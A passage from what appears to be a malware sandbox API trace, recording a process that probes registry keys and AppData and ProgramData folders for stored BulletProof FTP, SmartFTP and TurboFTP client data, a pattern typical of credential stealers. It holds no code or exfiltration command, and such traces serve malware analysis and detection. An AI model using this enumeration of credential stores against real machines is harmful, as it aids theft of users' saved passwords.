hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Main", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Main", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Options", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Options", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Options", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.421] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Options", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.421] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Options", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.421] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Options", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.421] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.421] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.421] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.421] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.421] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.421] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.421] lstrlenA (lpString="\\BulletProof Software") returned 21 [0068.421] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x641518 [0068.421] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.421] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\BulletProof Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software" [0068.421] LocalFree (hMem=0x626a88) returned 0x0 [0068.421] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software") returned 51 [0068.421] lstrlenA (lpString="\\*.*") returned 4 [0068.421] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x626a88 [0068.421] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software" [0068.421] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software\\*.*" [0068.421] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software\\*.*", lpFindFileData=0x12fd56 | out: lpFindFileData=0x12fd56) returned 0xffffffff [0068.421] LocalFree (hMem=0x626a88) returned 0x0 [0068.421] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software") returned 51 [0068.421] lstrlenA (lpString="\\*.*") returned 4 [0068.421] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x626a88 [0068.421] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software" [0068.421] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software\\*.*" [0068.422] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\BulletProof Software\\*.*", lpFindFileData=0x12fd56 | out: lpFindFileData=0x12fd56) returned 0xffffffff [0068.422] LocalFree (hMem=0x626a88) returned 0x0 [0068.422] LocalFree (hMem=0x641518) returned 0x0 [0068.422] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.422] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.422] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.422] lstrlenA (lpString="\\BulletProof Software") returned 21 [0068.422] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x641518 [0068.422] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.422] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\BulletProof Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software" [0068.422] LocalFree (hMem=0x626a88) returned 0x0 [0068.422] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software") returned 53 [0068.422] lstrlenA (lpString="\\*.*") returned 4 [0068.422] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x626a88 [0068.422] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software" [0068.422] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software\\*.*" [0068.422] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software\\*.*", lpFindFileData=0x12fd56 | out: lpFindFileData=0x12fd56) returned 0xffffffff [0068.422] LocalFree (hMem=0x626a88) returned 0x0 [0068.422] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software") returned 53 [0068.422] lstrlenA (lpString="\\*.*") returned 4 [0068.422] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x626a88 [0068.422] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software" [0068.422] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software\\*.*" [0068.422] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BulletProof Software\\*.*", lpFindFileData=0x12fd56 | out: lpFindFileData=0x12fd56) returned 0xffffffff [0068.422] LocalFree (hMem=0x626a88) returned 0x0 [0068.422] LocalFree (hMem=0x641518) returned 0x0 [0068.422] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.422] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.422] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.423] lstrlenA (lpString="\\BulletProof Software") returned 21 [0068.423] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.423] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.423] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\BulletProof Software" | out: lpString1="C:\\ProgramData\\BulletProof Software") returned="C:\\ProgramData\\BulletProof Software" [0068.423] LocalFree (hMem=0x626a88) returned 0x0 [0068.423] lstrlenA (lpString="C:\\ProgramData\\BulletProof Software") returned 35 [0068.423] lstrlenA (lpString="\\*.*") returned 4 [0068.423] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0068.423] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData\\BulletProof Software" | out: lpString1="C:\\ProgramData\\BulletProof Software") returned="C:\\ProgramData\\BulletProof Software" [0068.423] lstrcatA (in: lpString1="C:\\ProgramData\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\BulletProof Software\\*.*") returned="C:\\ProgramData\\BulletProof Software\\*.*" [0068.423] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BulletProof Software\\*.*", lpFindFileData=0x12fd56 | out: lpFindFileData=0x12fd56) returned 0xffffffff [0068.423] LocalFree (hMem=0x629248) returned 0x0 [0068.423] lstrlenA (lpString="C:\\ProgramData\\BulletProof Software") returned 35 [0068.423] lstrlenA (lpString="\\*.*") returned 4 [0068.423] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0068.423] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData\\BulletProof Software" | out: lpString1="C:\\ProgramData\\BulletProof Software") returned="C:\\ProgramData\\BulletProof Software" [0068.423] lstrcatA (in: lpString1="C:\\ProgramData\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\BulletProof Software\\*.*") returned="C:\\ProgramData\\BulletProof Software\\*.*" [0068.423] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BulletProof Software\\*.*", lpFindFileData=0x12fd56 | out: lpFindFileData=0x12fd56) returned 0xffffffff [0068.423] LocalFree (hMem=0x629248) returned 0x0 [0068.423] LocalFree (hMem=0x6292f8) returned 0x0 [0068.423] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.423] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.423] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.423] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.423] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.423] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.424] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.424] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.424] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.424] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.424] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x9, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.424] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.424] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.424] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.424] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.424] lstrlenA (lpString="\\SmartFTP") returned 9 [0068.424] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.424] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.424] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP" [0068.424] LocalFree (hMem=0x626a88) returned 0x0 [0068.424] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP") returned 41 [0068.424] lstrlenA (lpString="\\*.*") returned 4 [0068.424] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.424] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP" [0068.424] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*" [0068.424] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.424] LocalFree (hMem=0x6415d0) returned 0x0 [0068.424] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP") returned 41 [0068.424] lstrlenA (lpString="\\*.*") returned 4 [0068.424] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.424] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP" [0068.424] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*" [0068.424] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.425] LocalFree (hMem=0x6415d0) returned 0x0 [0068.425] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP") returned 41 [0068.425] lstrlenA (lpString="\\*.*") returned 4 [0068.425] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.425] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP" [0068.425] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*" [0068.425] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SmartFTP\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.425] LocalFree (hMem=0x6415d0) returned 0x0 [0068.425] LocalFree (hMem=0x641518) returned 0x0 [0068.425] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.425] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.425] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.425] lstrlenA (lpString="\\SmartFTP") returned 9 [0068.425] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x641518 [0068.425] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.425] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0068.425] LocalFree (hMem=0x626a88) returned 0x0 [0068.425] lstrlenA (lpString="C:\\ProgramData\\SmartFTP") returned 23 [0068.425] lstrlenA (lpString="\\*.*") returned 4 [0068.425] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.425] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0068.425] lstrcatA (in: lpString1="C:\\ProgramData\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\SmartFTP\\*.*") returned="C:\\ProgramData\\SmartFTP\\*.*" [0068.425] FindFirstFileA (in: lpFileName="C:\\ProgramData\\SmartFTP\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.425] LocalFree (hMem=0x6415b8) returned 0x0 [0068.425] lstrlenA (lpString="C:\\ProgramData\\SmartFTP") returned 23 [0068.425] lstrlenA (lpString="\\*.*") returned 4 [0068.425] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.425] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0068.425] lstrcatA (in: lpString1="C:\\ProgramData\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\SmartFTP\\*.*") returned="C:\\ProgramData\\SmartFTP\\*.*" [0068.425] FindFirstFileA (in: lpFileName="C:\\ProgramData\\SmartFTP\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.426] LocalFree (hMem=0x6415b8) returned 0x0 [0068.426] lstrlenA (lpString="C:\\ProgramData\\SmartFTP") returned 23 [0068.426] lstrlenA (lpString="\\*.*") returned 4 [0068.426] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.426] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0068.426] lstrcatA (in: lpString1="C:\\ProgramData\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\SmartFTP\\*.*") returned="C:\\ProgramData\\SmartFTP\\*.*" [0068.426] FindFirstFileA (in: lpFileName="C:\\ProgramData\\SmartFTP\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.426] LocalFree (hMem=0x6415b8) returned 0x0 [0068.426] LocalFree (hMem=0x641518) returned 0x0 [0068.426] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.426] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.426] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.426] lstrlenA (lpString="\\SmartFTP") returned 9 [0068.426] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.426] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.426] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP" [0068.426] LocalFree (hMem=0x626a88) returned 0x0 [0068.426] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP") returned 39 [0068.426] lstrlenA (lpString="\\*.*") returned 4 [0068.426] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.426] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP" [0068.426] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*" [0068.426] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.426] LocalFree (hMem=0x641518) returned 0x0 [0068.426] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP") returned 39 [0068.426] lstrlenA (lpString="\\*.*") returned 4 [0068.426] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.426] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP" [0068.426] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*" [0068.426] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.427] LocalFree (hMem=0x641518) returned 0x0 [0068.427] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP") returned 39 [0068.427] lstrlenA (lpString="\\*.*") returned 4 [0068.427] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.427] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP" [0068.427] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*" [0068.427] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\SmartFTP\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.427] LocalFree (hMem=0x641518) returned 0x0 [0068.427] LocalFree (hMem=0x6292f8) returned 0x0 [0068.427] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.427] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.427] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.427] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.427] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.427] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.427] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.427] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.427] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.427] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.427] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0xa, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.427] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.427] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fea0 | out: phkResult=0x12fea0*=0x0) returned 0x2 [0068.428] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe74 | out: phkResult=0x12fe74*=0x0) returned 0x2 [0068.428] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe48 | out: phkResult=0x12fe48*=0x0) returned 0x2 [0068.428] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fea0 | out: phkResult=0x12fea0*=0x0) returned 0x2 [0068.428] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe74 | 